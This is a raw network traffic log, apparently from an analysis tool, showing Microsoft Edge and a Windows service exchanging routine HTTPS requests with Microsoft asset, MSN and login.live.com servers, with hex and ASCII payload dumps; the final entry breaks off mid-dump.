133	192.168.2.4	49927	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 2229 Connection: close Content-MD5: m1+fngKXTssvJrBIRWryDg== Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: eb173a7b-a01e-0007-518f-959e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f56cb894f4hxjjs88cmwhuqs00000001bg0000000090d1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49928	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	562	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 1154 Connection: close Content-MD5: VINs+LbpDD4/JYhy3hkk5g== Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c2af67f8-a01e-0043-4cc1-9542ee000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f56cb894f6dbs8zd0w00kxw8000000016g00000000qkb5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 59346683 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49931	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	963	OUT	GET /service/v1/news/users/me/locations?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:28 UTC	3306	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e4-99e3-489a-b1a2-dbef7eb647de DDD-StrategyExecutionLatency: 00:00:00.0029977 DDD-DebugId: 662821e4-99e3-489a-b1a2-dbef7eb647de\|2024-04-23T21:02:28.5139632Z\|fabric_msn\|ESU\|News_45 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 4 X-MSEdge-ResponseInfo: 4 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e499e3489ab1a2dbef7eb647de\|AFD:662821e499e3489ab1a2dbef7eb647de\|2024-04-23T21:02:28.507Z X-MSEdge-Ref: Ref A: 42EB82F346424B6F81843E117BC196BF Ref B: BLUEDGE1309 Ref C: 2024-04-23T21:02:28Z Expires: Tue, 23 Apr 2024 21:02:28 GMT Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Length: 375 Connection: close Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402749703,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=45, origin; dur=36 , cdntime; dur=9 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017907 Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906148.18017907 Vary: Origin
2024-04-23 21:02:28 UTC	375	IN	Data Raw: 5b 7b 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 73 74 61 74 65 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 63 69 74 79 22 3a 22 41 74 6c 61 6e 74 61 22 2c 22 70 6f 73 74 61 6c 43 6f 64 65 22 3a 22 33 30 33 30 31 22 2c 22 69 73 4c 6f 63 61 6c 69 7a 65 64 22 3a 74 72 75 65 2c 22 61 63 63 75 72 61 63 79 22 3a 32 32 34 30 32 2e 30 36 38 33 35 39 33 37 35 2c 22 69 73 41 75 74 6f 44 65 74 65 63 74 65 64 22 3a 74 72 75 65 2c 22 6c 6f 63 61 74 69 6f 6e 53 6f 75 72 63 65 22 3a 22 52 65 76 65 72 73 65 49 70 22 2c 22 64 65 74 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 22 3a 7b 22 69 70 43 61 74 65 67 6f 72 79 22 3a 22 50 72 6f 78 79 22 2c 22 69 70 43 61 74 65 67 6f 72 79 43 6f Data Ascii: [{"country":"United States","countryCode":"US","state":"Georgia","city":"Atlanta","postalCode":"30301","isLocalized":true,"accuracy":22402.068359375,"isAutoDetected":true,"locationSource":"ReverseIp","detectionMetadata":{"ipCategory":"Proxy","ipCategoryCo

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49924	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:28 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:28 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 1e96fd2a-19e1-4fd7-a0f7-f4ce5156eee4 PPServer: PPV: 30 H: SN1PEPF0002F926 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:27 GMT Connection: close Content-Length: 1918
2024-04-23 21:02:28 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49932	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	504	OUT	GET /bundles/v1/edgeChromium/latest/nas-highlight-v1.ad1f555a047bcac24a4a.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: oPD1OAx4vOSE4A+GNp9LpA== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC268385B9 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c77554e8-801e-00c7-40b5-953ff4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:28 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402749835,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801798b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906148.1801798b Vary: Origin
2024-04-23 21:02:28 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 61 73 2d 68 69 67 68 6c 69 67 68 74 2d 76 31 22 5d 2c 7b 39 30 37 38 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 29 3b 76 61 72 20 61 2c 6e 3d 69 28 39 33 35 39 30 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 2c 69 2c 61 2c 6f 2c 72 2c 64 2c 73 2c 6c 3b 65 2e 49 6d 61 67 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["nas-highlight-v1"],{90782:function(e,t,i){i.d(t,{S:function(){return a}});var a,n=i(93590);!function(e){let t,i,a,o,r,d,s,l;e.Imag
2024-04-23 21:02:28 UTC	9395	IN	Data Raw: 3a 7b 64 65 66 69 6e 69 74 69 6f 6e 4e 61 6d 65 3a 22 53 65 67 6d 65 6e 74 5f 46 69 6e 61 6e 63 65 5f 43 72 79 70 74 6f 43 61 72 64 22 2c 74 61 72 67 65 74 54 79 70 65 3a 22 53 74 72 75 63 74 75 72 65 64 43 61 72 64 22 7d 2c 4d 61 72 6b 65 74 42 72 69 65 66 3a 7b 64 65 66 69 6e 69 74 69 6f 6e 4e 61 6d 65 3a 22 53 65 67 6d 65 6e 74 5f 46 69 6e 61 6e 63 65 5f 4d 61 72 6b 65 74 42 72 69 65 66 22 2c 74 61 72 67 65 74 54 79 70 65 3a 22 53 74 72 75 63 74 75 72 65 64 43 61 72 64 22 7d 2c 54 6f 70 53 74 6f 72 69 65 73 3a 7b 64 65 66 69 6e 69 74 69 6f 6e 4e 61 6d 65 3a 22 74 6f 70 73 74 6f 72 69 65 73 22 2c 74 61 72 67 65 74 49 64 3a 22 74 6f 70 73 74 6f 72 69 65 73 22 2c 74 61 72 67 65 74 54 79 70 65 3a 22 54 6f 70 69 63 46 65 65 64 22 7d 2c 54 72 65 6e 64 69 6e Data Ascii: :{definitionName:"Segment_Finance_CryptoCard",targetType:"StructuredCard"},MarketBrief:{definitionName:"Segment_Finance_MarketBrief",targetType:"StructuredCard"},TopStories:{definitionName:"topstories",targetId:"topstories",targetType:"TopicFeed"},Trendin
2024-04-23 21:02:28 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2c 76 6f 69 64 20 30 2c 65 2e 65 6e 74 72 79 50 6f 69 6e 74 29 7d 20 73 6c 6f 74 3d 22 61 63 74 69 6f 6e 73 22 20 64 61 74 61 2d 74 3d 22 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 74 65 6c 65 6d 65 74 72 79 43 6f 6e 74 65 78 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 6d 75 74 65 50 75 62 6c 69 73 68 65 72 42 75 74 74 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 7d 7d 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 24 7b 65 3d 3e 65 2e 6d 75 74 65 50 75 62 6c 69 73 68 65 72 42 75 74 74 6f 6e 54 65 78 74 7d 3c 2f 64 69 Data Ascii: 00006000,void 0,e.entryPoint)} slot="actions" data-t="${e=>{var t;return null===(t=e.telemetryContext)\|\|void 0===t\|\|null===(t=t.mutePublisherButton)\|\|void 0===t?void 0:t.getMetadataTag()}}"><div class="menu-item-text">${e=>e.mutePublisherButtonText}</di
2024-04-23 21:02:28 UTC	8204	IN	Data Raw: 6e 74 65 6e 74 2d 72 65 67 69 6f 6e 29 20 7b 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 70 61 64 64 69 6e 67 3a 20 31 36 70 78 20 31 36 70 78 20 30 70 78 20 32 34 70 78 3b 20 7d 20 6d 73 6e 2d 68 69 64 65 2d 73 74 6f 72 79 2d 63 61 72 64 2e 72 65 70 6f 72 74 2d 61 64 3a 3a 70 61 72 74 28 61 63 74 69 6f 6e 2d 72 65 67 69 6f 6e 29 20 7b 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 20 6d 61 72 67 69 6e 3a 20 32 36 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 20 31 36 70 78 20 31 36 70 78 20 32 34 70 78 3b 20 7d 20 6d 73 6e 2d 68 69 64 65 2d 73 74 6f 72 79 Data Ascii: ntent-region) { flex-direction: row; margin: 0; text-align: left; padding: 16px 16px 0px 24px; } msn-hide-story-card.report-ad::part(action-region) { display: block; position: static; margin: 26px 0px 0px 0px; padding: 0px 16px 16px 24px; } msn-hide-story
2024-04-23 21:02:29 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 75 63 74 69 6f 6e 52 69 64 4f 76 65 72 72 69 64 65 3a 52 65 2c 65 6e 61 62 6c 65 4c 61 72 67 65 72 53 69 7a 65 53 6f 63 69 61 6c 42 61 72 3a 4e 65 2c 65 6e 61 62 6c 65 53 6d 61 6c 6c 65 72 43 6f 6e 74 65 6e 74 50 61 64 64 69 6e 67 3a 4f 65 2c 65 6e 61 62 6c 65 41 64 43 61 72 64 43 6c 69 63 6b 43 62 49 6e 41 64 53 6c 75 67 3a 55 65 2c 65 6e 61 62 6c 65 43 61 73 68 62 61 63 6b 3a 57 65 2c 65 6e 61 62 6c 65 54 6f 70 41 64 43 61 72 64 3a 6a 7d 29 2c 65 74 3d 7b 7d 2c 74 74 3d 7b 2e 2e 2e 4b 65 2c 69 73 54 72 61 6e 73 70 61 72 65 6e 74 41 64 53 6c 75 67 57 69 74 68 42 6f 72 64 65 72 56 32 3a 73 26 26 73 2e 69 73 54 72 61 6e 73 70 61 72 65 6e 74 41 64 53 6c 75 67 57 69 74 68 42 6f 72 64 65 72 56 32 2c 61 64 53 6c 75 67 47 41 3a Data Ascii: 00004000auctionRidOverride:Re,enableLargerSizeSocialBar:Ne,enableSmallerContentPadding:Oe,enableAdCardClickCbInAdSlug:Ue,enableCashback:We,enableTopAdCard:j}),et={},tt={...Ke,isTransparentAdSlugWithBorderV2:s&&s.isTransparentAdSlugWithBorderV2,adSlugGA:
2024-04-23 21:02:29 UTC	12	IN	Data Raw: 28 34 33 30 36 33 29 2c 70 3d 0d 0a Data Ascii: (43063),p=
2024-04-23 21:02:29 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 28 34 39 32 31 38 29 2c 6d 3d 69 28 39 33 37 30 33 29 2c 68 3d 69 28 36 31 35 32 38 29 2c 75 3d 69 28 38 34 37 30 38 29 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 78 70 65 63 74 65 64 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 65 3d 28 30 2c 75 2e 5a 29 28 65 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2d 2d 65 3e 30 26 26 28 69 3d 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 29 2c 65 3c 3d 31 26 26 28 74 3d 76 6f 69 64 20 30 29 2c 69 7d 7d 3b 76 61 72 20 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: 00004000i(49218),m=i(93703),h=i(61528),u=i(84708);var f=function(e,t){var i;if("function"!=typeof t)throw new TypeError("Expected a function");return e=(0,u.Z)(e),function(){return--e>0&&(i=t.apply(this,arguments)),e<=1&&(t=void 0),i}};var v=function(e)
2024-04-23 21:02:29 UTC	12	IN	Data Raw: 3d 28 30 2c 77 2e 7a 42 29 28 0d 0a Data Ascii: =(0,w.zB)(
2024-04-23 21:02:29 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 29 3d 3d 3d 57 2c 64 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 71 2c 73 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 4a 2c 6c 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 59 2c 63 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 51 2c 67 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 58 2c 70 3d 21 21 65 2e 61 73 73 65 74 73 26 26 21 28 30 2c 54 2e 5a 29 28 65 2e 61 73 73 65 74 73 29 2c 6d 3d 28 30 2c 77 2e 7a 42 29 28 65 29 3d 3d 3d 5a 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 74 65 6d 70 6c 61 74 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 61 6e 69 6d 61 74 65 64 49 6d 61 67 65 29 26 26 28 6e 75 6c 6c 3d 3d 3d 28 69 3d 65 2e 74 65 6d 70 6c 61 74 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 Data Ascii: 